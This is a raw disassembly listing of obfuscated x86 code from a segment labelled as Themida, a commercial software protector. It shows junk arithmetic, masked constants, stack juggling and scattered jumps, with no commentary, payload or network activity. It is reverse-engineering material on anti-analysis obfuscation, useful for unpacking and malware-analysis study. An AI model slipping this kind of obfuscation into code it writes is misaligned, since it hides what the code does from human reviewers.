; FUNCTION CHUNK AT 0059492F SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00596205 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597595 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598FE0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CB51 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D2CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F6D8 SIZE 00000009 BYTES
push ebx
mov ebx, 0B761968h
mov edx, 0D56F483h
jmp loc_596205
sub_59AB43 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AB53: ; CODE XREF: sub_59390B+DA24j
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
jmp loc_59E4E8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AB68: ; CODE XREF: Themida_:005995D9j
push dword ptr [esp+4]
jmp loc_599F20
; ---------------------------------------------------------------------------
loc_59AB71: ; CODE XREF: Themida_:00597E57j
xor edx, 1CD270C9h
mov edi, edx
jmp loc_592E63
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AB7E: ; CODE XREF: sub_59390B+3BEEj
pop edi
jmp loc_5A5541
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59AB84: ; CODE XREF: sub_5A51EA-12578j
pop ax
push eax
mov al, 27h
xor dh, al
pop eax
jmp loc_5A4212
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AB91: ; CODE XREF: sub_59390B+D8EDj
add esi, 4
add esi, 4
xchg esi, [esp-14h+arg_C]
jmp loc_596DC5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59ABA5: ; CODE XREF: sub_5A4CDD-6D0j
push 12D7h
mov [esp+10h+var_10], eax
mov eax, 4
jmp loc_5A1EF7
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59ABB7: ; CODE XREF: sub_59390B+DAA9j
add esi, edx
jmp loc_59E9A7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59ABBE: ; CODE XREF: sub_59A431+6B84j
mov esp, [esp+10h+var_10]
mov [esp+10h+var_10], esp
push eax
mov eax, 4
add [esp+14h+var_10], eax
pop eax
mov ecx, [esp+10h+var_10]
push eax
mov eax, esp
jmp loc_59D694
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59ABDA: ; CODE XREF: sub_59390B+11690j
add eax, edx
jmp loc_5A3059
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59ABE1: ; CODE XREF: Themida_:0059EDABj
and ecx, 0A25484Eh
add ecx, 18016229h
mov esi, ecx
pop ecx
add edx, esi
pop esi
mov ebp, edx
pop edx
not ebp
jmp loc_5A28E3
; ---------------------------------------------------------------------------
loc_59ABFD: ; DATA XREF: Themida_:005907FCo
mov cx, [esp]
push 0E84h
jmp loc_592229
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AC0B: ; CODE XREF: sub_59390B-936j
sub edi, 79A5028Fh
add edi, 79063A00h
jmp loc_59A625
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AC1C: ; CODE XREF: Themida_:00597206j
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A1314
; ---------------------------------------------------------------------------
loc_59AC2F: ; CODE XREF: Themida_:005971F5j
pop ebx
jmp loc_5A3B7B
; ---------------------------------------------------------------------------
loc_59AC35: ; CODE XREF: Themida_:0059BFACj
pop ebp
add ebx, 2AA2BBDh
jmp loc_59E9D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AC41: ; CODE XREF: sub_59390B+D187j
add eax, ebp
jmp sub_5A2196
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59AC48: ; CODE XREF: sub_5A0733-62D9j
mov [esp+0Ch+var_C], ebp
jmp loc_59C02B
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AC50: ; CODE XREF: sub_59390B+32A4j
add bl, 8Dh
add bl, al
jmp loc_59D21E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AC5A: ; CODE XREF: Themida_:00596FB7j
mov bl, al
jmp loc_59B6B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AC61: ; CODE XREF: sub_59390B+FA1j
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
push eax
push 40h
push [esp+10h+var_10]
push [esp+14h+var_14]
pop eax
push ecx
mov ecx, esp
push esi
mov esi, 46D05252h
inc esi
xor esi, 46D05257h
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
push 0DE4h
jmp loc_5A37E2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F2FC
loc_59AC9F: ; CODE XREF: sub_59F2FC+9j
mov [esp+4+var_4], ecx
push esp
mov ecx, [esp+8+var_8]
add esp, 4
push 1F20h
jmp loc_59A334
; END OF FUNCTION CHUNK FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2196
loc_59ACB3: ; CODE XREF: sub_5A2196-B6B4j
pop ecx
pop ebp
push 3A12h
mov [esp+0], esi
push eax
mov eax, 2E3362AAh
push 731Bh
mov [esp+8+var_8], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp sub_59FD45
; END OF FUNCTION CHUNK FOR sub_5A2196
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_59ACDE: ; CODE XREF: sub_5A2FE9+29BCj
push esi
jmp loc_592863
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
loc_59ACE4: ; CODE XREF: Themida_:0059EA67j
mov ebp, 18B158F5h
mov eax, 0FDE31A5Bh
jmp loc_59BB26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59ACF3: ; CODE XREF: sub_59A431-1410j
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp+10h+var_10], edx
jmp loc_5957B2
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_59AD09: ; CODE XREF: Themida_:005A066Ej
xor dword ptr [esp], 730F41C0h
pop eax
xor eax, 730F41C0h
pop ebp
mov esi, 1A422E20h
xor esi, eax
pop eax
push esi
mov esi, 65CA7E77h
add ebx, esi
pop esi
add ebx, esi
sub ebx, 65CA7E77h
jmp loc_5969D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AD35: ; CODE XREF: sub_59390B+F190j
add edx, 4
add edx, 4
xchg edx, [esp+18h+var_18]
pop esp
push 65E8h
mov [esp+18h+var_18], ebx
mov ebx, 2
jmp loc_5A20AC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59F436
; ---------------------------------------------------------------------------
loc_59AD5C: ; CODE XREF: Themida_:00595A5Dj
push dword ptr [esp]
pop edi
add esp, 4
add ebx, 0D60308Ch
jmp loc_59AF73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AD6E: ; CODE XREF: sub_59390B+950j
sub ebx, 6B3A851Ch
jmp loc_5A4C9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AD79: ; CODE XREF: Themida_:00599309j
push eax
mov eax, 187062B2h
mov ebp, eax
pop eax
sub ebp, 3AA1207Eh
sub ebp, 58A046FEh
jmp loc_590C7D
; ---------------------------------------------------------------------------
loc_59AD93: ; CODE XREF: Themida_:0059CF04j
mov dl, cl
jmp loc_5994F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A905
loc_59AD9A: ; CODE XREF: sub_59A905-5DCFj
pop eax
sub ebx, edi
pop edi
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59A905
; ---------------------------------------------------------------------------
loc_59ADB4: ; CODE XREF: Themida_:0059CFCFj
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_598FC5
; =============== S U B R O U T I N E =======================================
sub_59ADCD proc near ; CODE XREF: sub_59FD45-81Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059F552 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A5B8E SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 0E0C9BBB9h
add ebp, 26447CE9h
sub ebp, eax
jmp loc_59F552
sub_59ADCD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59ADE5: ; CODE XREF: sub_59390B+11E0Cj
push [esp+10h+var_10]
mov ebx, [esp+14h+var_14]
add esp, 4
push edx
jmp loc_595774
; ---------------------------------------------------------------------------
loc_59ADF4: ; CODE XREF: sub_59390B+CCC8j
add esp, 4
push 3E44h
mov [esp+14h+var_14], ecx
jmp sub_591A08
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59AE04: ; CODE XREF: Themida_:0059FF6Fj
mov esi, 339E4834h
jmp loc_5A06F0
; ---------------------------------------------------------------------------
loc_59AE0E: ; DATA XREF: Themida_:005909C4o
mov cx, [esp]
sub esp, 4
jmp loc_591431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59AE1A: ; CODE XREF: sub_59A431+4BF8j
push esi
push esp
jmp loc_59705C
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2D8D
loc_59AE21: ; CODE XREF: sub_5A2D8D-C27Dj
mov [esp+0], ecx
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop ecx
push edi
jmp loc_591BF9
; END OF FUNCTION CHUNK FOR sub_5A2D8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AE38: ; CODE XREF: sub_59390B+BC2Fj
push edi
mov edi, 5EE8187Fh
xor edi, 38BC27A9h
mov ebx, edi
push [esp+18h+var_18]
jmp loc_5A0C20
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59AE4E: ; CODE XREF: sub_59A75E-1863j
mov si, 0B0FDh
sub si, bp
pop ebp
add bx, si
pop si
pop si
movzx eax, ax
push 152h
mov [esp+4+var_4], ecx
mov ecx, esp
jmp loc_5A1AFF
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AE6F: ; CODE XREF: sub_59390B+CCF6j
mov [esp+0], edx
push 0B777795h
pop edx
xor edx, 5A442FBAh
shr edx, 4
sub esp, 4
jmp loc_591EB0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59AE89: ; CODE XREF: sub_590AC5+B993j
pop dword ptr [esp+0]
jmp loc_59C3B9
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59AE91: ; CODE XREF: Themida_:0059C0D4j
xor ch, 32h
jmp loc_59B7D6
; ---------------------------------------------------------------------------
loc_59AE99: ; CODE XREF: Themida_:00599748j
push ecx
mov ecx, esp
jmp loc_5976C7
; ---------------------------------------------------------------------------
loc_59AEA1: ; CODE XREF: Themida_:00590CE8j
add esp, 4
jmp loc_5A0F72
; ---------------------------------------------------------------------------
loc_59AEA9: ; CODE XREF: Themida_:0059D1DDj
xor al, bl
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
push ecx
push ebx
mov bh, 0A0h
mov ch, 32h
xor ch, bh
push dword ptr [esp]
pop ebx
add esp, 4
shl ch, 8
push edx
mov dh, ch
not dh
mov ch, dh
pop edx
push 46ADh
mov [esp], edx
jmp loc_59C69A
; ---------------------------------------------------------------------------
loc_59AEE4: ; CODE XREF: Themida_:005A16D0j
add [esp+4], edx
pop edx
pop eax
jmp loc_5960D2
; ---------------------------------------------------------------------------
loc_59AEEF: ; CODE XREF: Themida_:0059BBFBj
mov esi, [esp]
add esp, 4
add eax, 5EA7FF9h
sub eax, edx
push ecx
jmp loc_59B1BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AF02: ; CODE XREF: sub_59390B+3DB7j
add ebp, esi
pop esi
xchg ebp, [esp+0]
pop esp
push small word ptr [eax]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59F15E
; ---------------------------------------------------------------------------
loc_59AF1A: ; CODE XREF: Themida_:00590CB6j
xchg ebp, [esp]
pop esp
jmp loc_5A227E
; ---------------------------------------------------------------------------
loc_59AF23: ; CODE XREF: Themida_:0059F8EBj
sub [esp], eax
add dword ptr [esp], 6A5D22B5h
pop eax
add eax, 61DB3DCDh
jmp loc_599B31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AF38: ; CODE XREF: sub_59390B+9FFj
push edi
jmp loc_59FBFE
; ---------------------------------------------------------------------------
loc_59AF3E: ; CODE XREF: sub_59390B-1002j
add esp, 4
sub ebp, 404E3C87h
jmp loc_591205
; ---------------------------------------------------------------------------
loc_59AF4F: ; CODE XREF: sub_59390B+7A97j
add esi, ebx
jmp loc_595BEC
; ---------------------------------------------------------------------------
loc_59AF56: ; CODE XREF: sub_59390B+ACD3j
xor dl, 5Bh
jmp loc_5A397B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_59AF5E: ; CODE XREF: sub_592586+D7D0j
sub ebx, 6BD2188Eh
push ebp
push esi
mov esi, 65E16DF4h
mov ebp, esi
pop esi
jmp loc_5A44D0
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
loc_59AF73: ; CODE XREF: Themida_:0059AD69j
add ebx, eax
push ecx
mov ecx, 0D60308Ch
sub ebx, 2E3E0ADEh
add ebx, 42D65758h
sub ebx, ecx
sub ebx, 42D65758h
add ebx, 2E3E0ADEh
pop ecx
push ecx
mov ecx, 13976DEh
sub ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5A1642
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AFA9: ; CODE XREF: sub_59390B+11C06j
mov ah, 0ACh
xor ah, cl
jmp loc_59B6A9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F5C8
loc_59AFB2: ; CODE XREF: sub_59F5C8-BEEEj
neg dl
push ebx
mov bh, 0EEh
and bh, 7Ch
sub bh, 0B4h
sub bh, 0F9h
xor dl, bh
pop ebx
add dl, 27h
sub dl, 5Dh
sub bl, dl
pop edx
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59F5C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59AFD7: ; CODE XREF: sub_59390B+F28Bj
pop edi
sub esp, 4
jmp loc_593355
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_59AFE3: ; CODE XREF: sub_5932F7+10B0Bj
add esi, ebx
jmp loc_5917C9
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_59AFEA: ; CODE XREF: Themida_:005919F4j
mov ebp, 7F816E8h
add dword ptr [esp+8], 66955F7Bh
add [esp+8], ebp
jmp loc_59A682
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59B000: ; CODE XREF: sub_59FCCB-1DA7j
sub edx, 4
jmp loc_5921E4
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1E61h
jmp loc_5A2D39
; =============== S U B R O U T I N E =======================================
sub_59B019 proc near ; CODE XREF: sub_59390B+13Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00595430 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0BDA SIZE 0000001A BYTES
push ebp
jmp loc_595430
sub_59B019 endp
; ---------------------------------------------------------------------------
loc_59B01F: ; CODE XREF: Themida_:0059D3F4j
mov [esp+4], bh
push dword ptr [esp]
pop ebx
jmp loc_599837
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_59B02C: ; CODE XREF: sub_590BDF+129B8j
pop ebx
push 4EDEh
mov [esp+4+var_4], esi
mov esi, 5A7264E6h
jmp loc_59E0D7
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
loc_59B03F: ; CODE XREF: Themida_:0059CCBEj
push ecx
push esp
mov ecx, [esp]
add esp, 4
push edx
mov edx, 17336DA0h
jmp loc_598004
; ---------------------------------------------------------------------------
loc_59B052: ; CODE XREF: Themida_:0059E3A3j
pop esp
shl edx, 3
xchg ebx, edx
not ebx
xchg ebx, edx
push 440Ch
jmp loc_5A3A53
; ---------------------------------------------------------------------------
loc_59B066: ; CODE XREF: Themida_:00592EC8j
pop edi
push edi
jmp loc_59F07B
; =============== S U B R O U T I N E =======================================
sub_59B06D proc near ; CODE XREF: sub_59E9F9+4j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0059F453 SIZE 0000004B BYTES
push ebp
jmp loc_59F453
sub_59B06D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59B073: ; CODE XREF: sub_5964AF+E3EEj
pop esi
add esp, 4
shr edx, 6
xor edx, 528D698Bh
sub edx, 52DE18BDh
jmp loc_59508E
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
loc_59B08B: ; CODE XREF: Themida_:005A3446j
sub esp, 4
mov [esp], esi
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
jmp loc_5A488E
; ---------------------------------------------------------------------------
loc_59B0A5: ; CODE XREF: Themida_:0059F657j
and ebp, 39F374ACh
xor ebp, 0FF4214Eh
sub ebx, ebp
pop ebp
jmp loc_59603D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BBA6
loc_59B0B9: ; CODE XREF: sub_59BBA6-32E9j
add esp, 4
shr ebx, 7
add ebx, 7CB003D1h
jmp loc_59B730
; END OF FUNCTION CHUNK FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59B0CA: ; CODE XREF: sub_5936EC+951Cj
add esi, eax
pop eax
mov edx, [esp+10h+var_10]
add esp, 4
xor esi, [esp+0Ch+var_C]
jmp loc_59360A
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B0DB: ; CODE XREF: sub_59390B+509Aj
xor eax, 298440E6h
push 3F6Ch
mov [esp-0Eh+arg_4+2], edx
push ebx
mov ebx, 3AC46611h
push ebx
pop edx
mov ebx, [esp-0Ah+arg_0+2]
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_593825
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59B10A proc near ; DATA XREF: Themida_:00590A10o
neg byte ptr [esp+0]
pushf
jmp loc_590A9B
sub_59B10A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B113: ; CODE XREF: sub_59390B+2811j
xor edx, 0A39C95C4h
mov ebx, edx
mov edx, [esp+0]
add esp, 4
or esi, ebx
pop ebx
add esi, 0EF70ED18h
sub ecx, esi
push [esp-8+arg_0]
pop esi
jmp sub_592A27
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_59B138: ; CODE XREF: sub_59F53F-7557j
pop eax
add ebx, edx
jmp loc_5958D4
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
loc_59B140: ; CODE XREF: Themida_:00593113j
push ebx
jmp loc_59684C
; ---------------------------------------------------------------------------
loc_59B146: ; CODE XREF: Themida_:005A4150j
push edx
push 2E19h
mov [esp], esi
jmp loc_5A16D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B154: ; CODE XREF: sub_59390B+88ACj
push esp
jmp loc_5A1C53
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59B15A: ; CODE XREF: sub_5964AF-141Fj
pop edx
and eax, esi
push [esp-14h+arg_10]
mov esi, [esp-10h+arg_C]
jmp sub_594C24
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
push 7955h
mov [esp], esp
sub esp, 4
mov [esp], ebx
push 4
push dword ptr [esp]
pop ebx
jmp loc_595DA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B187: ; CODE XREF: sub_59390B+6273j
add si, 0C406h
jmp sub_59A75E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_59B191: ; CODE XREF: sub_594DA8+8302j
mov esp, [esp+4+var_4]
jmp sub_5A4CDD
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
loc_59B199: ; CODE XREF: Themida_:00592ED9j
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_59CE57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B1AD: ; CODE XREF: sub_59390B+C307j
push eax
mov eax, 4
add ebp, 156C5426h
jmp loc_59ED98
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59B1BE: ; CODE XREF: Themida_:0059AEFDj
mov ecx, 5EA7FF9h
jmp loc_59FA3A
; ---------------------------------------------------------------------------
loc_59B1C8: ; CODE XREF: Themida_:005A42E6j
add edx, 0D55EE6B8h
mov eax, edx
mov edx, [esp]
add esp, 4
add edx, eax
jmp loc_59C4B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5969DC
loc_59B1DD: ; CODE XREF: sub_5969DC+1j
xor eax, ebx
push esi
sub esp, 4
mov [esp+8+var_8], esi
jmp loc_591D59
; END OF FUNCTION CHUNK FOR sub_5969DC
; ---------------------------------------------------------------------------
loc_59B1EB: ; CODE XREF: Themida_:005A312Bj
mov cl, 1Dh
sub dh, cl
pop cx
mov cx, [esp]
add esp, 2
xor dh, 67h
jmp loc_5A3043
; ---------------------------------------------------------------------------
loc_59B203: ; CODE XREF: Themida_:0059C6EAj
not ebx
jmp loc_598CC1
; =============== S U B R O U T I N E =======================================
sub_59B20A proc near ; CODE XREF: sub_590B8D+9E97j
; FUNCTION CHUNK AT 00595581 SIZE 00000007 BYTES
push ebx
jmp loc_595581
sub_59B20A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FA27
loc_59B210: ; CODE XREF: sub_59FA27+Ej
mov edi, 7E29522Eh
dec edi
sub edi, 0C871058h
jmp loc_5981AD
; END OF FUNCTION CHUNK FOR sub_59FA27
; ---------------------------------------------------------------------------
loc_59B221: ; CODE XREF: Themida_:005A01EFj
push ecx
mov ecx, 40810D0Bh
and ecx, 69AA22C0h
dec ecx
push ebx
mov ebx, 20D321F6h
sub ecx, ebx
jmp loc_59DC30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59B23B: ; CODE XREF: sub_59FCCB-A807j
push edx
mov dl, 93h
xor ah, dl
jmp loc_593717
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_59B245: ; CODE XREF: Themida_:0059269Aj
push edx
xor dword ptr [esp], 67E12583h
pop ebp
xor ebp, 67E12583h
pop edx
pop esi
push ebx
mov ebx, 392C3851h
sub ebp, ebx
mov ebx, [esp]
add esp, 4
push 4B80h
mov [esp], edi
jmp loc_59A54F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59B274: ; CODE XREF: sub_59FD45-F038j
mov ebx, 6B6561D9h
xor ebx, 4F0A37E4h
inc ebx
sub ebx, 19716767h
add ebx, 39172629h
or ebp, ebx
pop ebx
jmp loc_597F6D
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59B294: ; CODE XREF: Themida_:0059EA1Cj
mov cl, dl
mov ah, cl
jmp loc_5A5224
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B29D: ; CODE XREF: sub_59390B+926Ej
push 6059h
mov [esp+0Ch+var_C], edi
push esp
pop edi
sub esp, 4
jmp loc_59FB7A
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59B2AF proc near ; DATA XREF: Themida_:00590A28o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590FEA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593379 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059B38A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CDCA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A04C0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A10A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A22E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2823 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A42D8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A555F SIZE 00000037 BYTES
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], esi
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_5A22E5
sub_59B2AF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_59B2CB: ; CODE XREF: sub_594A8D+4DEBj
mov ebp, [esp+10h+var_10]
add esp, 4
not edi
push ebp
mov ebp, 388D693Bh
jmp loc_5A32D5
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59B2DE: ; CODE XREF: sub_5A0733-7ABAj
xor [esp+0], edi
xor edi, [esp+0]
mov esp, [esp+0]
jmp loc_599AD3
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_59B2EC: ; CODE XREF: Themida_:005A24D9j
shr ebx, 5
shl ebx, 5
dec ebx
add ebx, 0F713D8A0h
sub esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5960B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_59B306: ; CODE XREF: sub_5A4F4F+9j
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_595934
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B311: ; CODE XREF: sub_59390B+E129j
add edi, 4
push ebx
mov ebx, 36FB1BBFh
shr ebx, 5
jmp loc_593A4A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59B325: ; CODE XREF: sub_5964AF-5943j
push ecx
mov ecx, 6CB2331Bh
jmp loc_59334B
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59B330: ; CODE XREF: sub_59390B-1E2Ej
sub esi, 0D07D0159h
sub ebx, esi
mov esi, [esp-8+arg_0]
add esp, 4
push [esp-0Ch+arg_4]
mov edx, [esp-8+arg_0]
jmp loc_594523
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_59B349: ; CODE XREF: sub_598DC3+8D72j
mov [esp+0], dx
push ax
pushf
jmp loc_590A9B
